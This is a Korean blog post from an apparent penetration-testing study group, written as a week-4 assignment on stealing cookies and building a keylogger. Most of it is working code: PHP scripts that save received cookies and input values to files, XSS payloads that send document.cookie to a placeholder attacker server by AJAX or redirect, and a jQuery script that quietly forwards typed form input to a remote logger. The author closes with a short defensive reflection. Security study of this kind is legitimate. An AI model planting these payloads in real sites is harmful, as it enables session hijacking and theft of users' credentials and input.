4주차 2번째 과제로 쿠키값을 가져와 파일에 저장하는 방법과 키로거 코드를 개발해 보는 거였다.
쿠키 탈취
개발
우선 아래와 같이 간단한 화면을 만들어 주었다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="save.php" method="GET">
<input type="text" name="input">
<button type="submit">출력</button>
</form>
</body>
</html>
그다음 쿠키를 저장할 수 있는 php코드를 만들어 주었다.
데이터를 파일을 생성하여 파일 안에 저장할 수 있는 코드는 크게 2가지가 있는데 이 둘의 성능 차이는 거의 없다.
세분화된 제어(유연성)가 필요하다면 fopen, fwrite, fclose을 사용하면 되고 간결한 코드를 원한다면 file_put_contents을 사용하면 될 것 같다.
- fopen, fwrite, fclose
<?php
echo "cookie_save1";
// 요청으로 cookie 값을 받아옴
$cookie = $_GET['cookie'];
// 파일 열기 및 생성
$save_file = fopen("/cookie1.txt", "w");
fwrite($save_file, $cookie); // cookie.txt에 get으로 가져온 쿠키 값을 작성
fclose($save_file); // 열린 파일을 저장 후 닫음
?>
- file_put_contents
<?php
echo "cookie_save2";
// 요청으로 cookie 값을 받아옴
$cookie = $_GET['cookie'];
// 파일에 저장할 경로
$filePath = 'cookie2.txt';
// 데이터 저장
file_put_contents($filePath, $cookie, FILE_APPEND);
?>
이제 쿠키 정보를 얻을 사이트에 작성할 javascript코드를 만들어주면 된다.
URL로 쿠키 정보를 전송하는 방법에는 여러 가지가 있지만 그중 2가지를 적어보았다.
AJAX방식은 비동기적으로 XMLHttpRequest를 사용하여 페이지를 전환하지 않고 데이터를 전송하고, Redirect 방식은 사용자의 브라우저를 지정된 URL로 즉시 페이지를 전환한다.
- AJAX 방식
<script>
const Http = new XMLHttpRequest();
var cookie = document.cookie;
const url = "ip주소/경로/cookie_save1.php?cookie=" + cookie;
Http.open('GET',url);
Http.send();
Http.onreadystatechange = (e) => {
console.log(Http.responseText);
};
</script>
- Redirect 방식
<script>document.location="ip주소/경로/cookie_save2.php?cookie="+document.cookie;</script>
결과
키로거
개발
키로거도 쿠키 탈취와 같은 방식으로 사용자가 작성한 값을 파일을 생성하여 저장하면 된다.
먼저 아래와 같이 간단한 매인화면을 개발해 준다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form id="inputForm" action="save.php" method="POST">
<input type="text" name="input" id="input">
<button type="submit">출력</button>
</form>
</body>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script src="keylogger.js"></script>
</html>
그다음 input값을 저장해 php로 보낼 javascript 코드를 만들어 준다.
$(document).ready(function() {
$('#inputForm').on('submit', function(e) {
e.preventDefault(); // 기본 제출 동작 방지
const inputValue = $('#input').val(); // 입력값 가져오기
const Http = new XMLHttpRequest();
const url = "ip/경로/keylogger.php?inputValue=" + inputValue;
Http.open('GET', url);
Http.send();
Http.onreadystatechange = (e) => {
console.log(Http.responseText);
// 폼 데이터를 save.php로 전송
this.submit(); // 폼 제출
};
});
})
마지막으로 파일을 생성하고 input값을 넣어 저장해 주는 php코드를 개발해 주면 된다.
<?php
$inputValue = $_GET['inputValue'];
// 파일에 저장할 경로
$filePath = 'inputValue.txt';
// 데이터 저장
file_put_contents($filePath, $inputValue . PHP_EOL, FILE_APPEND);
?>
결과
후기
웹 개발을 했을 당시 사용자 편의를 위하여 사용한 코드였는데 이 처럼 탈취나 키로그에도 사용할 수 있다는 것에 놀랐고 개발을 했을 때 안일하게 코드를 작성한 것 같았다. 앞으로 웹 개발을 하게 된다면 보안적으로 문제가 되진 않을지 주의 깊게 코드를 작성하는 습관을 들여야겠다.
'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글
모의해킹 스터디 CTF 문제 - Get Admin (0) | 2024.11.18 |
---|---|
모의해킹 스터디 5주차 정리 (0) | 2024.11.15 |
모의해킹 스터디 4주차 과제(1) - 게시판 만들기 (0) | 2024.11.12 |
모의해킹 스터디 4주차 정리 (0) | 2024.11.08 |
모의해킹 스터디 3주차 과제(2) - 리눅스 환경에서 PHP로 JWT 구현 (0) | 2024.11.06 |